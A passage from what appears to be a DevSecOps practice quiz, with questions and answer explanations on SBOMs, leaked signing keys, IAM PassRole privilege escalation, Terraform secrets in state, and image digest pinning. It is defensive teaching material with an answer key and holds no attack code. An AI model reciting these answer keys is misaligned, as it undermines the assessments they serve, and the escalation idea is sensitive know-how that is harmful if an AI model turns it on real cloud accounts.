  1. A.The source SBOM, since images add only harmless files
  2. B.The image SBOM, as it includes OS packages and build output
  3. C.Both are equal, and the count differs only by format
  4. D.Neither, because SBOMs cannot list OS packages
Show answer

Answer: B. The image SBOM, as it includes OS packages and build output

A source SBOM sees your manifests and lockfiles. The image SBOM also sees the base OS packages, system libraries and anything added during the build, which is what actually ships. Generate SBOMs from the final artifact for vulnerability response, and keep source ones for development.

56. A signing key was leaked

The cosign private key used to sign release images was found in a public paste. What should the response include?

  1. A.Revoke the key, re-sign good images with a new key, check logs
  2. B.Keep using the same key but change its password
  3. C.Delete the public paste and carry on as before
  4. D.Stop verifying image signatures until the key expires
Show answer

Answer: A. Revoke the key, re-sign good images with a new key, check logs

Anyone holding the key can sign malicious images that your clusters will trust. Remove the old public key from verification policies, sign known-good images with a new key, and check registries and transparency logs for signatures you did not make. Keyless signing avoids long-lived keys.

57. Privilege escalation via PassRole

A CI role may only create Lambda functions, but it also has iam:PassRole on "*". Why is this a privilege escalation risk?

  1. A.PassRole lets it read every S3 bucket directly
  2. B.It can create a function that runs as an admin role and use it
  3. C.PassRole lets it reset any IAM user's password
  4. D.PassRole only affects billing, so there is no risk
Show answer

Answer: B. It can create a function that runs as an admin role and use it

iam:PassRole lets a principal hand a role to a service. With lambda:CreateFunction plus PassRole on all roles, the CI role can create a function that runs as a highly privileged role and do anything that role can. Limit PassRole to specific role ARNs and use the iam:PassedToService condition.

58. A DB password that never hits state

Recent Terraform versions add "write-only" arguments such as password_wo on aws_db_instance. What problem do they solve?

  1. A.The value is hidden in CLI output but stored in state as normal
  2. B.The value is sent to the provider but never saved in plan or state
  3. C.The value is encrypted in state with a key from KMS
  4. D.The value can only be set once and then becomes read-only
Show answer

Answer: B. The value is sent to the provider but never saved in plan or state

Write-only arguments (Terraform 1.11+) are passed to the API during apply and are never persisted, so the secret is not in state or the plan file. Because Terraform cannot compare them, you bump a companion version argument such as password_wo_version to rotate. sensitive = true only hides values in output; they stay in state.

59. Secrets inside Terraform state

Terraform creates an RDS instance with a master password from a variable marked sensitive = true. Which statement is correct?

  1. A.State files never contain secret values from sensitive variables
  2. B.sensitive = true encrypts the value inside the state file with KMS
  3. C.Sensitive values are still plain text in state; lock down the backend
  4. D.Only local state files can contain secrets, never remote backends
Show answer

Answer: C. Sensitive values are still plain text in state; lock down the backend

sensitive only hides values in CLI output; the state still stores them in plain text. Use an encrypted backend with tight access and audit logging, and avoid secrets in state where possible. Options include RDS managed master passwords in Secrets Manager, ephemeral resources and write-only arguments in newer Terraform, or OpenTofu state encryption.

60. Same tag, different image

Two pods of the same deployment behave differently. Both use image "scorer:latest", but one was pulled before a new push. What prevents this?

  1. A.Restarting pods every hour
  2. B.Using a larger node
  3. C.Setting imagePullPolicy to Never
  4. D.Deploying immutable image references by digest (or unique version tags) recorded with the model release
Show answer

Answer: D. Deploying immutable image references by digest (or unique version tags) recorded with the model release

Tags such as latest are mutable, so the same name can point to different images over time. A digest (sha256) identifies exact content, which makes deployments reproducible and auditable. Combine this with signed images and recorded model artifact hashes for supply chain safety.

Ready to test yourself?

Take a 15-question DevSecOps MCQ test with a score at the end, or practise the full DevSecOps question bank and earn points on the leaderboard.